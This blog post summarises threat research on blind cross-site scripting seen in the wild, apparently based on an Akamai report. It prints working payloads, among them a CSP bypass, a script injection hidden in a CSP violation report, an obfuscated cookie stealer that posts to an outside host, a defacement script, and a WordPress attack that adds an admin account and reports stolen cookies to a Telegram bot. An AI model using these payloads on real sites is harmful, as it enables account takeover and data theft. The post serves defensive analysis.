Analysis of Blind XSS Tools, Tactics and Procedures

This blog post is largely based upon the Akamai State of the Internet (SOTI) Defenders' Guide 2025 document here: https://www.akamai.com/site/en/documents/state-of-the-internet/2025/akamai-state-of-the-internet-cybersecurity-defense-guide-2025-report.pdf

OVERVIEW

Akamai’s Security Intelligence Group (SIG) conducted a deep analysis of Cross-site Scripting (XSS) data that was captured from the Cloud Security Intelligence (CSI) platform.  The goal of this analysis was to identify the specific techniques employed during real-world exploitation attempts vs. simple “proof of concept (PoC)” probing requests to identify vulnerable vectors.  More specifically, we analyzed XSS attacks that attempted to embed remote JavaScript resources into pages instead of probes executed by scanners.  


The vast majority of  reflected XSS PoC payloads are essentially benign, and attempt to call one of the following JavaScript methods - alert() , prompt() and  confirm().  These have been the de-facto methods for scanners to prove that a XSS vulnerability actually exists and the payload is indeed executed by the browser’s JavaScript engine however they do not attempt to actually exploit the end user.


SCOPE OF ANALYSIS 

For this survey, we reviewed 7 days of JavaScript injection attempts during the month of December 2024. Before analyzing potential malicious behavior, we first needed to cast a wide net to first identify any requests that included references to remote JavaScript resources.  Once we gathered this data, we could then dug deeper to identify the intent of the JavaScript code.  


FINDINGS 

Our analysis yielded the following observations:

 

The vast majority (over ~98%) of remote Javascript code references are related to legitimate JavaScript frameworks such as those used by:


  • Ad technologies

  • User experience or User Interface-related frameworks

  • User or Site Analytics


Bug Bounty Blind XSS Testing 

There was also a high volume of payloads that were used by bug hunters who are participating in Akamai’s customers’ public bug bounty programs. There are three main motivations for using remote source JavaScript for bug bounty processes:


XSS Injection vector has size restrictions

Bug hunters may identify that a parameter is vulnerable to XSS however there are size restrictions that limit the ability to demonstrate criticality. These size limitations make it challenging to execute PoC code.  In these situations, bug hunters can utilize a small payload that simply references a remote JavaScript file that they control. The file contents can be very large and complex.  Example:


/file.php?param=<script/src=//ÇŠ.₨></script>


Blind Automations

If bug hunters are able to host remote XSS services, this can be leveraged as part of automation testing scenarios where an XSS payloads actually executes. With normal, manual reflected XSS testing, the bug hunter has to confirm if a payload actually executes in the web browser which is more difficult to scale. Conversely, with blind XSS testing, bug hunters simply inject their remote source JavaScript code into all the target parameters and then they monitor their remote XSS service to see if any calls are made to it. They can then easily trace back to which site and parameter was exploited.  Example header of a blind XSS PoC file used by bug bounty hunters:


/**  ,     ,

    (\____/)      __        __   ezXSS 4.2   _                 

     (_oo_)       \ \      / /_ _ _ __ _ __ (_)_ __   __ _     This is an automated tool for penetration testers and bug bounty hunters

       (O)         \ \ /\ / / _` | '__| '_ \| | '_ \ / _` |    to test applications for (cross-site-scripting) weaknesses.

     __||__    \)   \ V  V / (_| | |  | | | | | | | | (_| |  

  []/______\[] /     \_/\_/ \__,_|_|  |_| |_|_|_| |_|\__, |    If you believe this tool has been tested or abused on your application

  / \______/ \/      警告!   warnung!  avertissement! |___/     without your permission, please contact us at abuse@ezxss.com. 

 /    /__\            warning! ¡advertencia!  تحذير!

(\   /____\       aviso!  Предупреждение!    peringatan!       STRICTLY PROHIBITED FOR ANY ILLEGAL ACTIVITY | More info: https://ezxss.com

 */


function ez_n(e){return void 0 !==e?e:''}

function ez_cb(t,e){var n=new XMLHttpRequest;n.open("POST",("https:"!==window.parent.location.protocol?"http:":"https:")+"//c0ff33b34n.ez.pe/callback",!0),n.setRequestHeader("Content-type","text/plain"),n.timeout=6e4,n.onreadystatechange=function(){4===n.readyState&&200===n.status&&null!==e&&e(n.responseText)},n.send(JSON.stringify(t))}

--CUT--


Examples of Blind XSS Services:

Free Self Hosted
Free 3rd Party Hosted

Examples of top Blind XSS payloads


 

Content Security Policy (CSP) Bypasses

When bug hunters encounter a scenario where a target site has an XSS vulnerability but there is a CSP policy that is mitigating exploitation, there may be CSP policy weaknesses that can be abused. For example, consider this CSP response header policy:


Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url; 

This policy is whitelisting domains for script loading in an Angular JS and can be bypassed with the following payload that invokes callback functions and utilizes certain vulnerable classes:


param=1234"'><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js></script><div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='https://XXXXXXXX.bxss.in'"></textarea></div>

CSP Violation Reports as Blind XSS Vectors

An interesting Blind XSS vector is to inject the payloads into CSP violation reports themselves as there is a high probability that this data will eventually be viewed by security staff reviewing CSP violation data. Here is an example with a Blind XSS in the "violated-directive" json node data:

{

  "csp-report": {

    "document-uri": "https://example.com/page.html",

    "referrer": "https://example.com/previous-page.html",

    "violated-directive": "script-src 'self' https://trusted-cdn.com<svg/onload=import('https://custombxss.me/xss.js')>",

    "effective-directive": "script-src",

    "original-policy": "default-src 'self'; script-src 'self' https://trusted-cdn.com; img-src 'self'; report-uri https://example.com/csp-report-endpoint",

    "disposition": "enforce",

    "blocked-uri": "https://malicious-site.com/evil.js",

    "status-code": 200,

    "script-sample": ""

  }


Threat Actor Tactics 

When categorizing the purposes of the remotely sourced JavaScript, there were many examples of real world threat actor tactics.


Cookie Stealing

Threat actors attempting to send session cookie data to a site they control in order to be used in account takeover attacks. The following example attempts to capture the URL, Referrer and document.cookie data and send to the attacker’s site in an XHR request.


try {

    var r0;

    var r1;

    var r2;

    try { r0 = window.btoa(eval(window.atob('ZG9jdW1lbnQuY29va2ll'))) } catch { r0 = document.cookie };

    try { r1 = window.btoa(eval(window.atob('ZG9jdW1lbnQucmVmZXJyZXI='))) } catch { r1 = document.referrer };

    try { r2 = window.btoa(eval(window.atob('ZG9jdW1lbnQuVVJM'))) } catch { r2 = document.URL };

    var xhr = null;

    var x1 = "aHR0cDovL3htcy5sYS9NNVlFOA==";

    try { xhr = new XMLHttpRequest() } catch (e) { xhr = new ActiceXObject('Microsoft.XMLHttp') };

    xhr.open(window.atob('cG9zdA=='), window.atob(x1), true);

    xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

    xhr.send('r0=' + r0 + '&r1=' + r1 + '&r2=' + r2 + "&c=M5YE8");

} catch {

    

}



Website Defacement

Threat actors can inject JavaScript that uses document.documentElement.innerHTML to create a new HTML page to show to the client. Example code snippet:


document.documentElement.innerHTML=String.fromCharCode(60, 33, 68, 79, 67, 84, 89, 80, 69, 32, 104, 116, 109, 108, 62, 10, 60, 104, 116, 109, 108, 32, 108, 97, 110, 103, 61, 34, 101, 110, 34, 62, 10, 10, 60, 104, 101, 97, 100, 62, 10, 32, 32, 32, 32, 60, 109, 101, 116, 97, 32, 99, 104, 97, 114, 115, 101, 116, 61, 34, 85, 84, 70, 45, 56, 34, 62, 10, 32, 32, 32, 32, 60, 109, 101, 116, 97, 32, 110, 97, 109, 101, 61, 34, 118, 105, 101, 119, 112, 111, 114, 116, 34, 32, 99, 111, 110, 116, 101, 110, 116, 61, 34, 119, 105, 100, 116, 104, 61, 100, 101, 118, 105, 99, 101, 45, 119, 105, 100, 116, 104, 44, 32, 105, 110, 105, 116, 105, 97, 108, 45, 115, 99, 97, 108, 101, 61, 49, 46, 48, 34, 62, 10, 32, 32, 32, 32, 60, 116, 105, 116, 108, 101, 62, 72, 65, 67, 75, 69, 68, 32, 66, 89, 32, 115, 107, 117, 108, 108, 50, 48, 95, 105, 114, 60, 47, 116, 105, 116, 108, 101, 62, 10, 32, 32, 32, 32, 60, 108, 105, 110, 107, 32, 114, 101, 108, 61, 34, 112, 114, 101, 99, 111, 110, 110, 101, 99, 116, 34, 32, 104, 114, 101, 102, 61, 34, 104, 116, 116, 112, 115, 58, 47, 47, 102, 111, 110, 116, 115, 46, 103, 111, 111, 103, 108, 101, 97, 112, 105, 115, 46, 99, 111, 109, 34, 62, 10, 32, 32, 32, 32, 60, 108, 105, 110, 107, 32, 114, 101, 108, 61, 34, 112, 114, 101, 99, 111, 110, 110, 101, 99, 116, 34, 32, 104, 114, 101, 102, 61, 34, 104, 116, 116, 112, 115, 58, 47, 47, 102, 111, 110, 116, 115, 46, 103, 115, 116, 97, 116, 105, 99, 46, 99, 111, 109, 34, 32, 99, 114, 111, 115, 115, 111, 114, 105, 103, 105, 110, 62, 10, 32, 32, 32, 32, 60, 108, 105, 110, 107, 32, 104, 114, 101, 102, 61, 34, 104, 116, 116, 112,

---CUT---


Here is a screenshot in Brave web browser with Devtools open showing the underlying code and resulting HTML showing the defacement.



Session Riding / Cross-site Request Forgery (CSRF)

We saw many examples of threat actors attempting to execute blind Session Riding / CSRF attacks against Wordpress Admins. These payloads are hoping that a Wordpress Admin will somehow view log files or some HTML page with the attack payload. If this payload executes in the Admin’s browser, it attempts to capture a valid rest “nonce” value from an endpoint URL and then add bogus Admin accounts. Example code achieves the desired logic and additionally will send a notification to the threat actor’s Telegram channel with the compromise details:


const start = async () => {
    try {


        // Fetch REST nonce from the specified URL
        const nonceResponse = await fetch('/wp-admin/admin-ajax.php?action=rest-nonce');



        // Check if the response is successful and retrieve the text

        const nonce = nonceResponse.ok ? await nonceResponse.text() : null;


        // If nonce is available, proceed to create a new WordPress user

        if (nonce) {

            const userResponse = await fetch('/wp-json/wp/v2/users', {

                method: 'POST',

                headers: {

                    'X-Wp-Nonce': nonce,

                    'Content-Type': 'application/json'

                },

                body: JSON.stringify({

                    username: 'admin@zzna.ru',

                    password: 'dacai@123',

                    roles: ['administrator'],

                    email: 'admin@zzna.ru'

                })

            });


            // Check if the user creation was successful or encountered a server error

            if (userResponse.ok || userResponse.status === 500) {

                // Get cookies

                const cookies = document.cookie;


                // Notify about the new user creation via Telegram including cookies

                await fetch('https://api.telegram.org/bot6898182997:AAGUIFwP-BsBjDpzscyJ7pLHbiUS_Cq5lNI/sendMessage', {

                    method: 'POST',

                    body: JSON.stringify({

                        chat_id: '686930213',

                        text: `URL: ${document.URL}\nNew User Created!\nCookies: ${cookies}`

                    }),

                    headers: {

                        'Content-Type': 'application/json'

                    }

                });

            }

        }

    } catch (error) {

        // Handle any errors during the process

        console.error(error);

        return false;

    }

};


// Initiate the process

start();


CONCLUSION

As you can see from this case-study, there is a whole world of XSS taking place that goes beyond proof of concept ALERT pop-up boxes.  Malicious threat actors are leveraging XSS vulnerabilities for many nefarious purposes.  Organizations can help mitigate the abuse of XSS vulnerabilities within their web applications by conducting vulnerability scans and deploying web application firewalls to help protect vulnerable sites.  For end users, ensure that you are always using the latest version of web browsers (as many have built-in XSS protections) and consider installing a security plugin such as NoScript.



 


Comments

Popular Posts